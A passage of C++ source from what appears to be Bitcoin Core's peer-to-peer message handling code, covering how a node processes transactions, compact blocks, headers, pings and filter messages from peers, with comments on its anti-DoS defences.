headers (or compact blocks again) // in the SendMessages logic. nodestate->pindexBestHeaderSent = pindex ? pindex : chainActive.Tip(); connman->PushMessage(pfrom, msgMaker.Make(NetMsgType::HEADERS, vHeaders)); } else if (strCommand == NetMsgType::TX) { // Stop processing the transaction early if // We are in blocks only mode and peer is either not whitelisted or whitelistrelay is off if (!fRelayTxes && (!pfrom->fWhitelisted || !gArgs.GetBoolArg("-whitelistrelay", DEFAULT_WHITELISTRELAY))) { LogPrint(BCLog::NET, "transaction sent in violation of protocol peer=%d\n", pfrom->GetId()); return true; } std::deque<COutPoint> vWorkQueue; std::vector<uint256> vEraseQueue; CTransactionRef ptx; vRecv >> ptx; const CTransaction& tx = *ptx; CInv inv(MSG_TX, tx.GetHash()); pfrom->AddInventoryKnown(inv); LOCK2(cs_main, g_cs_orphans); bool fMissingInputs = false; CValidationState state; pfrom->setAskFor.erase(inv.hash); mapAlreadyAskedFor.erase(inv.hash); std::list<CTransactionRef> lRemovedTxn; if (!AlreadyHave(inv) && AcceptToMemoryPool(mempool, state, ptx, &fMissingInputs, &lRemovedTxn, false /* bypass_limits */, 0 /* nAbsurdFee */)) { mempool.check(pcoinsTip.get()); RelayTransaction(tx, connman); for (unsigned int i = 0; i < tx.vout.size(); i++) { vWorkQueue.emplace_back(inv.hash, i); } pfrom->nLastTXTime = GetTime(); LogPrint(BCLog::MEMPOOL, "AcceptToMemoryPool: peer=%d: accepted %s (poolsz %u txn, %u kB)\n", pfrom->GetId(), tx.GetHash().ToString(), mempool.size(), mempool.DynamicMemoryUsage() / 1000); // Recursively process any orphan transactions that depended on this one std::set<NodeId> setMisbehaving; while (!vWorkQueue.empty()) { auto itByPrev = mapOrphanTransactionsByPrev.find(vWorkQueue.front()); vWorkQueue.pop_front(); if (itByPrev == mapOrphanTransactionsByPrev.end()) continue; for (auto mi = itByPrev->second.begin(); mi != itByPrev->second.end(); ++mi) { const CTransactionRef& porphanTx = (*mi)->second.tx; const CTransaction& orphanTx = *porphanTx; const uint256& orphanHash = orphanTx.GetHash(); NodeId fromPeer = (*mi)->second.fromPeer; bool fMissingInputs2 = false; // Use a dummy CValidationState so someone can't setup nodes to counter-DoS based on orphan // resolution (that is, feeding people an invalid transaction based on LegitTxX in order to get // anyone relaying LegitTxX banned) CValidationState stateDummy; if (setMisbehaving.count(fromPeer)) continue; if (AcceptToMemoryPool(mempool, stateDummy, porphanTx, &fMissingInputs2, &lRemovedTxn, false /* bypass_limits */, 0 /* nAbsurdFee */)) { LogPrint(BCLog::MEMPOOL, " accepted orphan tx %s\n", orphanHash.ToString()); RelayTransaction(orphanTx, connman); for (unsigned int i = 0; i < orphanTx.vout.size(); i++) { vWorkQueue.emplace_back(orphanHash, i); } vEraseQueue.push_back(orphanHash); } else if (!fMissingInputs2) { int nDos = 0; if (stateDummy.IsInvalid(nDos) && nDos > 0) { // Punish peer that gave us an invalid orphan tx Misbehaving(fromPeer, nDos); setMisbehaving.insert(fromPeer); LogPrint(BCLog::MEMPOOL, " invalid orphan tx %s\n", orphanHash.ToString()); } // Has inputs but not accepted to mempool // Probably non-standard or insufficient fee LogPrint(BCLog::MEMPOOL, " removed orphan tx %s\n", orphanHash.ToString()); vEraseQueue.push_back(orphanHash); if (!orphanTx.HasWitness() && !stateDummy.CorruptionPossible()) { // Do not use rejection cache for witness transactions or // witness-stripped transactions, as they can have been malleated. // See https://github.com/bitcoin/bitcoin/issues/8279 for details. assert(recentRejects); recentRejects->insert(orphanHash); } } mempool.check(pcoinsTip.get()); } } for (uint256 hash : vEraseQueue) EraseOrphanTx(hash); } else if (fMissingInputs) { bool fRejectedParents = false; // It may be the case that the orphans parents have all been rejected for (const CTxIn& txin : tx.vin) { if (recentRejects->contains(txin.prevout.hash)) { fRejectedParents = true; break; } } if (!fRejectedParents) { uint32_t nFetchFlags = GetFetchFlags(pfrom); for (const CTxIn& txin : tx.vin) { CInv _inv(MSG_TX | nFetchFlags, txin.prevout.hash); pfrom->AddInventoryKnown(_inv); if (!AlreadyHave(_inv)) pfrom->AskFor(_inv); } AddOrphanTx(ptx, pfrom->GetId()); // DoS prevention: do not allow mapOrphanTransactions to grow unbounded unsigned int nMaxOrphanTx = (unsigned int)std::max((int64_t)0, gArgs.GetArg("-maxorphantx", DEFAULT_MAX_ORPHAN_TRANSACTIONS)); unsigned int nEvicted = LimitOrphanTxSize(nMaxOrphanTx); if (nEvicted > 0) { LogPrint(BCLog::MEMPOOL, "mapOrphan overflow, removed %u tx\n", nEvicted); } } else { LogPrint(BCLog::MEMPOOL, "not keeping orphan with rejected parents %s\n",tx.GetHash().ToString()); // We will continue to reject this tx since it has rejected // parents so avoid re-requesting it from other peers. recentRejects->insert(tx.GetHash()); } } else { if (!tx.HasWitness() && !state.CorruptionPossible()) { // Do not use rejection cache for witness transactions or // witness-stripped transactions, as they can have been malleated. // See https://github.com/bitcoin/bitcoin/issues/8279 for details. assert(recentRejects); recentRejects->insert(tx.GetHash()); if (RecursiveDynamicUsage(*ptx) < 100000) { AddToCompactExtraTransactions(ptx); } } else if (tx.HasWitness() && RecursiveDynamicUsage(*ptx) < 100000) { AddToCompactExtraTransactions(ptx); } if (pfrom->fWhitelisted && gArgs.GetBoolArg("-whitelistforcerelay", DEFAULT_WHITELISTFORCERELAY)) { // Always relay transactions received from whitelisted peers, even // if they were already in the mempool or rejected from it due // to policy, allowing the node to function as a gateway for // nodes hidden behind it. // // Never relay transactions that we would assign a non-zero DoS // score for, as we expect peers to do the same with us in that // case. int nDoS = 0; if (!state.IsInvalid(nDoS) || nDoS == 0) { LogPrintf("Force relaying tx %s from whitelisted peer=%d\n", tx.GetHash().ToString(), pfrom->GetId()); RelayTransaction(tx, connman); } else { LogPrintf("Not relaying invalid transaction %s from whitelisted peer=%d (%s)\n", tx.GetHash().ToString(), pfrom->GetId(), FormatStateMessage(state)); } } } for (const CTransactionRef& removedTx : lRemovedTxn) AddToCompactExtraTransactions(removedTx); int nDoS = 0; if (state.IsInvalid(nDoS)) { LogPrint(BCLog::MEMPOOLREJ, "%s from peer=%d was not accepted: %s\n", tx.GetHash().ToString(), pfrom->GetId(), FormatStateMessage(state)); if (state.GetRejectCode() > 0 && state.GetRejectCode() < REJECT_INTERNAL) // Never send AcceptToMemoryPool's internal codes over P2P connman->PushMessage(pfrom, msgMaker.Make(NetMsgType::REJECT, strCommand, (unsigned char)state.GetRejectCode(), state.GetRejectReason().substr(0, MAX_REJECT_MESSAGE_LENGTH), inv.hash)); if (nDoS > 0) { Misbehaving(pfrom->GetId(), nDoS); } } } else if (strCommand == NetMsgType::CMPCTBLOCK && !fImporting && !fReindex) // Ignore blocks received while importing { CBlockHeaderAndShortTxIDs cmpctblock; vRecv >> cmpctblock; bool received_new_header = false; { LOCK(cs_main); if (mapBlockIndex.find(cmpctblock.header.hashPrevBlock) == mapBlockIndex.end()) { // Doesn't connect (or is genesis), instead of DoSing in AcceptBlockHeader, request deeper headers if (!IsInitialBlockDownload()) connman->PushMessage(pfrom, msgMaker.Make(NetMsgType::GETHEADERS, chainActive.GetLocator(pindexBestHeader), uint256())); return true; } if (mapBlockIndex.find(cmpctblock.header.GetHash()) == mapBlockIndex.end()) { received_new_header = true; } } const CBlockIndex *pindex = nullptr; CValidationState state; if (!ProcessNewBlockHeaders({cmpctblock.header}, state, chainparams, &pindex)) { int nDoS; if (state.IsInvalid(nDoS)) { if (nDoS > 0) { LogPrintf("Peer %d sent us invalid header via cmpctblock\n", pfrom->GetId()); LOCK(cs_main); Misbehaving(pfrom->GetId(), nDoS); } else { LogPrint(BCLog::NET, "Peer %d sent us invalid header via cmpctblock\n", pfrom->GetId()); } return true; } } // When we succeed in decoding a block's txids from a cmpctblock // message we typically jump to the BLOCKTXN handling code, with a // dummy (empty) BLOCKTXN message, to re-use the logic there in // completing processing of the putative block (without cs_main). bool fProcessBLOCKTXN = false; CDataStream blockTxnMsg(SER_NETWORK, PROTOCOL_VERSION); // If we end up treating this as a plain headers message, call that as well // without cs_main. bool fRevertToHeaderProcessing = false; // Keep a CBlock for "optimistic" compactblock reconstructions (see // below) std::shared_ptr<CBlock> pblock = std::make_shared<CBlock>(); bool fBlockReconstructed = false; { LOCK2(cs_main, g_cs_orphans); // If AcceptBlockHeader returned true, it set pindex assert(pindex); UpdateBlockAvailability(pfrom->GetId(), pindex->GetBlockHash()); CNodeState *nodestate = State(pfrom->GetId()); // If this was a new header with more work than our tip, update the // peer's last block announcement time if (received_new_header && pindex->nChainWork > chainActive.Tip()->nChainWork) { nodestate->m_last_block_announcement = GetTime(); } std::map<uint256, std::pair<NodeId, std::list<QueuedBlock>::iterator> >::iterator blockInFlightIt = mapBlocksInFlight.find(pindex->GetBlockHash()); bool fAlreadyInFlight = blockInFlightIt != mapBlocksInFlight.end(); if (pindex->nStatus & BLOCK_HAVE_DATA) // Nothing to do here return true; if (pindex->nChainWork <= chainActive.Tip()->nChainWork || // We know something better pindex->nTx != 0) { // We had this block at some point, but pruned it if (fAlreadyInFlight) { // We requested this block for some reason, but our mempool will probably be useless // so we just grab the block via normal getdata std::vector<CInv> vInv(1); vInv[0] = CInv(MSG_BLOCK | GetFetchFlags(pfrom), cmpctblock.header.GetHash()); connman->PushMessage(pfrom, msgMaker.Make(NetMsgType::GETDATA, vInv)); } return true; } // If we're not close to tip yet, give up and let parallel block fetch work its magic if (!fAlreadyInFlight && !CanDirectFetch(chainparams.GetConsensus())) return true; if (IsWitnessEnabled(pindex->pprev, chainparams.GetConsensus()) && !nodestate->fSupportsDesiredCmpctVersion) { // Don't bother trying to process compact blocks from v1 peers // after segwit activates. return true; } // We want to be a bit conservative just to be extra careful about DoS // possibilities in compact block processing... if (pindex->nHeight <= chainActive.Height() + 2) { if ((!fAlreadyInFlight && nodestate->nBlocksInFlight < MAX_BLOCKS_IN_TRANSIT_PER_PEER) || (fAlreadyInFlight && blockInFlightIt->second.first == pfrom->GetId())) { std::list<QueuedBlock>::iterator* queuedBlockIt = nullptr; if (!MarkBlockAsInFlight(pfrom->GetId(), pindex->GetBlockHash(), pindex, &queuedBlockIt)) { if (!(*queuedBlockIt)->partialBlock) (*queuedBlockIt)->partialBlock.reset(new PartiallyDownloadedBlock(&mempool)); else { // The block was already in flight using compact blocks from the same peer LogPrint(BCLog::NET, "Peer sent us compact block we were already syncing!\n"); return true; } } PartiallyDownloadedBlock& partialBlock = *(*queuedBlockIt)->partialBlock; ReadStatus status = partialBlock.InitData(cmpctblock, vExtraTxnForCompact); if (status == READ_STATUS_INVALID) { MarkBlockAsReceived(pindex->GetBlockHash()); // Reset in-flight state in case of whitelist Misbehaving(pfrom->GetId(), 100); LogPrintf("Peer %d sent us invalid compact block\n", pfrom->GetId()); return true; } else if (status == READ_STATUS_FAILED) { // Duplicate txindexes, the block is now in-flight, so just request it std::vector<CInv> vInv(1); vInv[0] = CInv(MSG_BLOCK | GetFetchFlags(pfrom), cmpctblock.header.GetHash()); connman->PushMessage(pfrom, msgMaker.Make(NetMsgType::GETDATA, vInv)); return true; } BlockTransactionsRequest req; for (size_t i = 0; i < cmpctblock.BlockTxCount(); i++) { if (!partialBlock.IsTxAvailable(i)) req.indexes.push_back(i); } if (req.indexes.empty()) { // Dirty hack to jump to BLOCKTXN code (TODO: move message handling into their own functions) BlockTransactions txn; txn.blockhash = cmpctblock.header.GetHash(); blockTxnMsg << txn; fProcessBLOCKTXN = true; } else { req.blockhash = pindex->GetBlockHash(); connman->PushMessage(pfrom, msgMaker.Make(NetMsgType::GETBLOCKTXN, req)); } } else { // This block is either already in flight from a different // peer, or this peer has too many blocks outstanding to // download from. // Optimistically try to reconstruct anyway since we might be // able to without any round trips. PartiallyDownloadedBlock tempBlock(&mempool); ReadStatus status = tempBlock.InitData(cmpctblock, vExtraTxnForCompact); if (status != READ_STATUS_OK) { // TODO: don't ignore failures return true; } std::vector<CTransactionRef> dummy; status = tempBlock.FillBlock(*pblock, dummy); if (status == READ_STATUS_OK) { fBlockReconstructed = true; } } } else { if (fAlreadyInFlight) { // We requested this block, but its far into the future, so our // mempool will probably be useless - request the block normally std::vector<CInv> vInv(1); vInv[0] = CInv(MSG_BLOCK | GetFetchFlags(pfrom), cmpctblock.header.GetHash()); connman->PushMessage(pfrom, msgMaker.Make(NetMsgType::GETDATA, vInv)); return true; } else { // If this was an announce-cmpctblock, we want the same treatment as a header message fRevertToHeaderProcessing = true; } } } // cs_main if (fProcessBLOCKTXN) return ProcessMessage(pfrom, NetMsgType::BLOCKTXN, blockTxnMsg, nTimeReceived, chainparams, connman, interruptMsgProc); if (fRevertToHeaderProcessing) { // Headers received from HB compact block peers are permitted to be // relayed before full validation (see BIP 152), so we don't want to disconnect // the peer if the header turns out to be for an invalid block. // Note that if a peer tries to build on an invalid chain, that // will be detected and the peer will be banned. return ProcessHeadersMessage(pfrom, connman, {cmpctblock.header}, chainparams, /*punish_duplicate_invalid=*/false); } if (fBlockReconstructed) { // If we got here, we were able to optimistically reconstruct a // block that is in flight from some other peer. { LOCK(cs_main); mapBlockSource.emplace(pblock->GetHash(), std::make_pair(pfrom->GetId(), false)); } bool fNewBlock = false; // Setting fForceProcessing to true means that we bypass some of // our anti-DoS protections in AcceptBlock, which filters // unrequested blocks that might be trying to waste our resources // (eg disk space). Because we only try to reconstruct blocks when // we're close to caught up (via the CanDirectFetch() requirement // above, combined with the behavior of not requesting blocks until // we have a chain with at least nMinimumChainWork), and we ignore // compact blocks with less work than our tip, it is safe to treat // reconstructed compact blocks as having been requested. ProcessNewBlock(chainparams, pblock, /*fForceProcessing=*/true, &fNewBlock); if (fNewBlock) { pfrom->nLastBlockTime = GetTime(); } else { LOCK(cs_main); mapBlockSource.erase(pblock->GetHash()); } LOCK(cs_main); // hold cs_main for CBlockIndex::IsValid() if (pindex->IsValid(BLOCK_VALID_TRANSACTIONS)) { // Clear download state for this block, which is in // process from some other peer. We do this after calling // ProcessNewBlock so that a malleated cmpctblock announcement // can't be used to interfere with block relay. MarkBlockAsReceived(pblock->GetHash()); } } } else if (strCommand == NetMsgType::BLOCKTXN && !fImporting && !fReindex) // Ignore blocks received while importing { BlockTransactions resp; vRecv >> resp; std::shared_ptr<CBlock> pblock = std::make_shared<CBlock>(); bool fBlockRead = false; { LOCK(cs_main); std::map<uint256, std::pair<NodeId, std::list<QueuedBlock>::iterator> >::iterator it = mapBlocksInFlight.find(resp.blockhash); if (it == mapBlocksInFlight.end() || !it->second.second->partialBlock || it->second.first != pfrom->GetId()) { LogPrint(BCLog::NET, "Peer %d sent us block transactions for block we weren't expecting\n", pfrom->GetId()); return true; } PartiallyDownloadedBlock& partialBlock = *it->second.second->partialBlock; ReadStatus status = partialBlock.FillBlock(*pblock, resp.txn); if (status == READ_STATUS_INVALID) { MarkBlockAsReceived(resp.blockhash); // Reset in-flight state in case of whitelist Misbehaving(pfrom->GetId(), 100); LogPrintf("Peer %d sent us invalid compact block/non-matching block transactions\n", pfrom->GetId()); return true; } else if (status == READ_STATUS_FAILED) { // Might have collided, fall back to getdata now :( std::vector<CInv> invs; invs.push_back(CInv(MSG_BLOCK | GetFetchFlags(pfrom), resp.blockhash)); connman->PushMessage(pfrom, msgMaker.Make(NetMsgType::GETDATA, invs)); } else { // Block is either okay, or possibly we received // READ_STATUS_CHECKBLOCK_FAILED. // Note that CheckBlock can only fail for one of a few reasons: // 1. bad-proof-of-work (impossible here, because we've already // accepted the header) // 2. merkleroot doesn't match the transactions given (already // caught in FillBlock with READ_STATUS_FAILED, so // impossible here) // 3. the block is otherwise invalid (eg invalid coinbase, // block is too big, too many legacy sigops, etc). // So if CheckBlock failed, #3 is the only possibility. // Under BIP 152, we don't DoS-ban unless proof of work is // invalid (we don't require all the stateless checks to have // been run). This is handled below, so just treat this as // though the block was successfully read, and rely on the // handling in ProcessNewBlock to ensure the block index is // updated, reject messages go out, etc. MarkBlockAsReceived(resp.blockhash); // it is now an empty pointer fBlockRead = true; // mapBlockSource is only used for sending reject messages and DoS scores, // so the race between here and cs_main in ProcessNewBlock is fine. // BIP 152 permits peers to relay compact blocks after validating // the header only; we should not punish peers if the block turns // out to be invalid. mapBlockSource.emplace(resp.blockhash, std::make_pair(pfrom->GetId(), false)); } } // Don't hold cs_main when we call into ProcessNewBlock if (fBlockRead) { bool fNewBlock = false; // Since we requested this block (it was in mapBlocksInFlight), force it to be processed, // even if it would not be a candidate for new tip (missing previous block, chain not long enough, etc) // This bypasses some anti-DoS logic in AcceptBlock (eg to prevent // disk-space attacks), but this should be safe due to the // protections in the compact block handler -- see related comment // in compact block optimistic reconstruction handling. ProcessNewBlock(chainparams, pblock, /*fForceProcessing=*/true, &fNewBlock); if (fNewBlock) { pfrom->nLastBlockTime = GetTime(); } else { LOCK(cs_main); mapBlockSource.erase(pblock->GetHash()); } } } else if (strCommand == NetMsgType::HEADERS && !fImporting && !fReindex) // Ignore headers received while importing { std::vector<CBlockHeader> headers; // Bypass the normal CBlock deserialization, as we don't want to risk deserializing 2000 full blocks. unsigned int nCount = ReadCompactSize(vRecv); if (nCount > MAX_HEADERS_RESULTS) { LOCK(cs_main); Misbehaving(pfrom->GetId(), 20); return error("headers message size = %u", nCount); } headers.resize(nCount); for (unsigned int n = 0; n < nCount; n++) { vRecv >> headers[n]; ReadCompactSize(vRecv); // ignore tx count; assume it is 0. } // Headers received via a HEADERS message should be valid, and reflect // the chain the peer is on. If we receive a known-invalid header, // disconnect the peer if it is using one of our outbound connection // slots. bool should_punish = !pfrom->fInbound && !pfrom->m_manual_connection; return ProcessHeadersMessage(pfrom, connman, headers, chainparams, should_punish); } else if (strCommand == NetMsgType::BLOCK && !fImporting && !fReindex) // Ignore blocks received while importing { std::shared_ptr<CBlock> pblock = std::make_shared<CBlock>(); vRecv >> *pblock; LogPrint(BCLog::NET, "received block %s peer=%d\n", pblock->GetHash().ToString(), pfrom->GetId()); bool forceProcessing = false; const uint256 hash(pblock->GetHash()); { LOCK(cs_main); // Also always process if we requested the block explicitly, as we may // need it even though it is not a candidate for a new best tip. forceProcessing |= MarkBlockAsReceived(hash); // mapBlockSource is only used for sending reject messages and DoS scores, // so the race between here and cs_main in ProcessNewBlock is fine. mapBlockSource.emplace(hash, std::make_pair(pfrom->GetId(), true)); } bool fNewBlock = false; ProcessNewBlock(chainparams, pblock, forceProcessing, &fNewBlock); if (fNewBlock) { pfrom->nLastBlockTime = GetTime(); } else { LOCK(cs_main); mapBlockSource.erase(pblock->GetHash()); } } else if (strCommand == NetMsgType::GETADDR) { // This asymmetric behavior for inbound and outbound connections was introduced // to prevent a fingerprinting attack: an attacker can send specific fake addresses // to users' AddrMan and later request them by sending getaddr messages. // Making nodes which are behind NAT and can only make outgoing connections ignore // the getaddr message mitigates the attack. if (!pfrom->fInbound) { LogPrint(BCLog::NET, "Ignoring \"getaddr\" from outbound connection. peer=%d\n", pfrom->GetId()); return true; } // Only send one GetAddr response per connection to reduce resource waste // and discourage addr stamping of INV announcements. if (pfrom->fSentAddr) { LogPrint(BCLog::NET, "Ignoring repeated \"getaddr\". peer=%d\n", pfrom->GetId()); return true; } pfrom->fSentAddr = true; pfrom->vAddrToSend.clear(); std::vector<CAddress> vAddr = connman->GetAddresses(); FastRandomContext insecure_rand; for (const CAddress &addr : vAddr) pfrom->PushAddress(addr, insecure_rand); } else if (strCommand == NetMsgType::MEMPOOL) { if (!(pfrom->GetLocalServices() & NODE_BLOOM) && !pfrom->fWhitelisted) { LogPrint(BCLog::NET, "mempool request with bloom filters disabled, disconnect peer=%d\n", pfrom->GetId()); pfrom->fDisconnect = true; return true; } if (connman->OutboundTargetReached(false) && !pfrom->fWhitelisted) { LogPrint(BCLog::NET, "mempool request with bandwidth limit reached, disconnect peer=%d\n", pfrom->GetId()); pfrom->fDisconnect = true; return true; } LOCK(pfrom->cs_inventory); pfrom->fSendMempool = true; } else if (strCommand == NetMsgType::PING) { if (pfrom->nVersion > BIP0031_VERSION) { uint64_t nonce = 0; vRecv >> nonce; // Echo the message back with the nonce. This allows for two useful features: // // 1) A remote node can quickly check if the connection is operational // 2) Remote nodes can measure the latency of the network thread. If this node // is overloaded it won't respond to pings quickly and the remote node can // avoid sending us more work, like chain download requests. // // The nonce stops the remote getting confused between different pings: without // it, if the remote node sends a ping once per second and this node takes 5 // seconds to respond to each, the 5th ping the remote sends would appear to // return very quickly. connman->PushMessage(pfrom, msgMaker.Make(NetMsgType::PONG, nonce)); } } else if (strCommand == NetMsgType::PONG) { int64_t pingUsecEnd = nTimeReceived; uint64_t nonce = 0; size_t nAvail = vRecv.in_avail(); bool bPingFinished = false; std::string sProblem; if (nAvail >= sizeof(nonce)) { vRecv >> nonce; // Only process pong message if there is an outstanding ping (old ping without nonce should never pong) if (pfrom->nPingNonceSent != 0) { if (nonce == pfrom->nPingNonceSent) { // Matching pong received, this ping is no longer outstanding bPingFinished = true; int64_t pingUsecTime = pingUsecEnd - pfrom->nPingUsecStart; if (pingUsecTime > 0) { // Successful ping time measurement, replace previous pfrom->nPingUsecTime = pingUsecTime; pfrom->nMinPingUsecTime = std::min(pfrom->nMinPingUsecTime.load(), pingUsecTime); } else { // This should never happen sProblem = "Timing mishap"; } } else { // Nonce mismatches are normal when pings are overlapping sProblem = "Nonce mismatch"; if (nonce == 0) { // This is most likely a bug in another implementation somewhere; cancel this ping bPingFinished = true; sProblem = "Nonce zero"; } } } else { sProblem = "Unsolicited pong without ping"; } } else { // This is most likely a bug in another implementation somewhere; cancel this ping bPingFinished = true; sProblem = "Short payload"; } if (!(sProblem.empty())) { LogPrint(BCLog::NET, "pong peer=%d: %s, %x expected, %x received, %u bytes\n", pfrom->GetId(), sProblem, pfrom->nPingNonceSent, nonce, nAvail); } if (bPingFinished) { pfrom->nPingNonceSent = 0; } } else if (strCommand == NetMsgType::FILTERLOAD) { CBloomFilter filter; vRecv >> filter; if (!filter.IsWithinSizeConstraints()) { // There is no excuse for sending a too-large filter LOCK(cs_main); Misbehaving(pfrom->GetId(), 100); } else { LOCK(pfrom->cs_filter); pfrom->pfilter.reset(new CBloomFilter(filter)); pfrom->pfilter->UpdateEmptyFull(); pfrom->fRelayTxes = true; } } else if (strCommand == NetMsgType::FILTERADD) { std::vector<unsigned char> vData; vRecv >> vData; // Nodes must NEVER send a data item > 520 bytes (the max size for a script data object, // and thus, the maximum size any matched object can have) in a filteradd message bool bad = false; if (vData.size() > MAX_SCRIPT_ELEMENT_SIZE) { bad = true; } else { LOCK(pfrom->cs_filter); if (pfrom->pfilter) { pfrom->pfilter->insert(vData); } else { bad = true; } } if (bad) { LOCK(cs_main); Misbehaving(pfrom->GetId(), 100); } } else if (strCommand == NetMsgType::FILTERCLEAR) { LOCK(pfrom->cs_filter); if (pfrom->GetLocalServices() & NODE_BLOOM) { pfrom->pfilter.reset(new CBloomFilter()); } pfrom->fRelayTxes = true; } else if (strCommand == NetMsgType::FEEFILTER) { CAmount newFeeFilter = 0; vRecv >> newFeeFilter; if (MoneyRange(newFeeFilter)) { { LOCK(pfrom->cs_feeFilter); pfrom->minFeeFilter = newFeeFilter; } LogPrint(BCLog::NET, "received: feefilter of %s from peer=%d\n", CFeeRate(newFeeFilter).ToString(), pfrom->GetId()); } } else if (strCommand == NetMsgType::NOTFOUND) { // We do not care about the NOTFOUND message, but logging an Unknown Command // message would be undesirable as we transmit it ourselves. } else { // Ignore unknown commands for extensibility LogPrint(BCLog::NET, "Unknown command \"%s\" from peer=%d\n", SanitizeString(strCommand), pfrom->GetId()); } return true; } static bool SendRejectsAndCheckIfBanned(CNode* pnode, CConnman* connman) { AssertLockHeld(cs_main); CNodeState &state = *State(pnode->GetId()); for (const CBlockReject& reject : state.rejects) { connman->PushMessage(pnode, CNetMsgMaker(INIT_PROTO_VERSION).Make(NetMsgType::REJECT, (std::string)NetMsgType::BLOCK, reject.chRejectCode, reject.strRejectReason, reject.hashBlock)); } state.rejects.clear(); if (state.fShouldBan) { state.fShouldBan = false; if (pnode->fWhitelisted) LogPrintf("Warning: not punishing whitelisted peer %s!\n", pnode->addr.ToString()); else if (pnode->m_manual_connection) LogPrintf("Warning: not punishing manually-connected peer %s!\n", pnode->addr.ToString()); else { pnode->fDisconnect = true; if (pnode->addr.IsLocal()) LogPrintf("Warning: not banning local peer %s!\n", pnode->addr.ToString()); else { connman->Ban(pnode->addr, BanReasonNodeMisbehaving); } } return true; } return false; } bool PeerLogicValidation::ProcessMessages(CNode* pfrom, std::atomic<bool>& interruptMsgProc) { const CChainParams& chainparams = Params(); // // Message format // (4) message start // (12) command // (4) size // (4) checksum // (x) data // bool fMoreWork = false; if (!pfrom->vRecvGetData.empty()) ProcessGetData(pfrom, chainparams.GetConsensus(), connman, interruptMsgProc); if (pfrom->fDisconnect) return false; // this maintains the order of responses if (!pfrom->vRecvGetData.empty()) return true; // Don't bother if send buffer is too full to respond anyway if (pfrom->fPauseSend) return false; std::list<CNetMessage> msgs; { LOCK(pfrom->cs_vProcessMsg); if (pfrom->vProcessMsg.empty()) return false; // Just take one message msgs.splice(msgs.begin(), pfrom->vProcessMsg, pfrom->vProcessMsg.begin()); pfrom->nProcessQueueSize -= msgs.front().vRecv.size() + CMessageHeader::HEADER_SIZE; pfrom->fPauseRecv = pfrom->nProcessQueueSize > connman->GetReceiveFloodSize(); fMoreWork = !pfrom->vProcessMsg.empty(); } CNetMessage& msg(msgs.front()); msg.SetVersion(pfrom->GetRecvVersion()); // Scan for message start if (memcmp(msg.hdr.pchMessageStart, chainparams.MessageStart(), CMessageHeader::MESSAGE_START_SIZE) != 0) { LogPrint(BCLog::NET, "PROCESSMESSAGE: INVALID MESSAGESTART %s peer=%d\n", SanitizeString(msg.hdr.GetCommand()), pfrom->GetId()); pfrom->fDisconnect = true; return false; } // Read header CMessageHeader& hdr = msg.hdr; if (!hdr.IsValid(chainparams.MessageStart())) { LogPrint(BCLog::NET, "PROCESSMESSAGE: ERRORS IN HEADER %s peer=%d\n", SanitizeString(hdr.GetCommand()), pfrom->GetId()); return fMoreWork; } std::string strCommand = hdr.GetCommand(); // Message size unsigned int nMessageSize = hdr.nMessageSize; // Checksum CDataStream& vRecv = msg.vRecv; const uint256& hash = msg.GetMessageHash(); if (memcmp(hash.begin(), hdr.pchChecksum, CMessageHeader::CHECKSUM_SIZE) != 0) { LogPrint(BCLog::NET, "%s(%s, %u bytes): CHECKSUM ERROR expected %s was %s\n", __func__, SanitizeString(strCommand), nMessageSize, HexStr(hash.begin(), hash.begin()+CMessageHeader::CHECKSUM_SIZE), HexStr(hdr.pchChecksum, hdr.pchChecksum+CMessageHeader::CHECKSUM_SIZE)); return fMoreWork; } // Process message bool fRet = false; try { fRet = ProcessMessage(pfrom, strCommand, vRecv, msg.nTime, chainparams, connman, interruptMsgProc); if (interruptMsgProc) return false; if (!pfrom->vRecvGetData.empty()) fMoreWork = true; } catch (const std::ios_base::failure& e) { connman->PushMessage(pfrom, CNetMsgMaker(INIT_PROTO_VERSION).Make(NetMsgType::REJECT, strCommand, REJECT_MALFORMED, std::string("error parsing message"))); if (strstr(e.what(), "end of data")) { // Allow exceptions from under-length message on vRecv LogPrint(BCLog::NET, "%s(%s, %u bytes): Exception '%s' caught, normally caused by a message being shorter than its stated length\n", __func__, SanitizeString(strCommand), nMessageSize, e.what()); } else if (strstr(e.what(), "size too large")) { // Allow exceptions from over-long size LogPrint(BCLog::NET, "%s(%s, %u bytes): Exception '%s' caught\n", __func__, SanitizeString(strCommand), nMessageSize, e.what()); } else if (strstr(e.what(), "non-canonical ReadCompactSize()")) { // Allow exceptions from non-canonical encoding LogPrint(BCLog::NET, "%s(%s, %u bytes): Exception '%s' caught\n", __func__, SanitizeString(strCommand), nMessageSize, e.what()); } else { PrintExceptionContinue(&e, "ProcessMessages()"); } } catch (const std::exception& e) { PrintExceptionContinue(&e, "ProcessMessages()"); } catch (...) { PrintExceptionContinue(nullptr, "ProcessMessages()"); } if (!fRet) { LogPrint(BCLog::NET, "%s(%s, %u bytes) FAILED peer=%d\n", __func__, SanitizeString(strCommand), nMessageSize, pfrom->GetId()); } LOCK(cs_main); SendRejectsAndCheckIfBanned(pfrom, connman); return fMoreWork; } void PeerLogicValidation::ConsiderEviction(CNode *pto, int64_t time_in_seconds) { AssertLockHeld(cs_main); CNodeState &state = *State(pto->GetId()); const CNetMsgMaker msgMaker(pto->GetSendVersion()); if (!state.m_chain_sync.m_protect && IsOutboundDisconnectionCandidate(pto) && state.fSyncStarted) { // This is an outbound peer subject to disconnection if they don't // announce a block with as much work as the current tip within // CHAIN_SYNC_TIMEOUT + HEADERS_RESPONSE_TIME seconds (note: if // their chain has more work than ours, we should sync to it, // unless it's invalid, in which case we should find that out and // disconnect from them elsewhere). if (state.pindexBestKnownBlock != nullptr && state.pindexBestKnownBlock->nChainWork >= chainActive.Tip()->nChainWork) { if (state.m_chain_sync.m_timeout != 0) { state.m_chain_sync.m_timeout = 0; state.m_chain_sync.m_work_header = nullptr; state.m_chain_sync.m_sent_getheaders = false; } } else if (state.m_chain_sync.m_timeout == 0 || (state.m_chain_sync.m_work_header != nullptr && state.pindexBestKnownBlock != nullptr && state.pindexBestKnownBlock->nChainWork >= state.m_chain_sync.m_work_header->nChainWork)) { // Our best block known by this peer is behind our tip, and we're either noticing // that for the first time, OR this peer was able to catch up to some earlier point // where we checked against our tip. // Either way, set a new timeout based on current tip. state.m_chain_sync.m_timeout = time_in_seconds + CHAIN_SYNC_TIMEOUT; state.m_chain_sync.m_work_header = chainActive.Tip(); state.m_chain_sync.m_sent_getheaders = false; } else if (state.m_chain_sync.m_timeout > 0 && time_in_seconds > state.m_chain_sync.m_timeout) { // No evidence yet that our peer has synced to a chain with work equal to that // of our tip, when we first detected it was behind. Send a single getheaders // message to give the peer a chance to update us. if 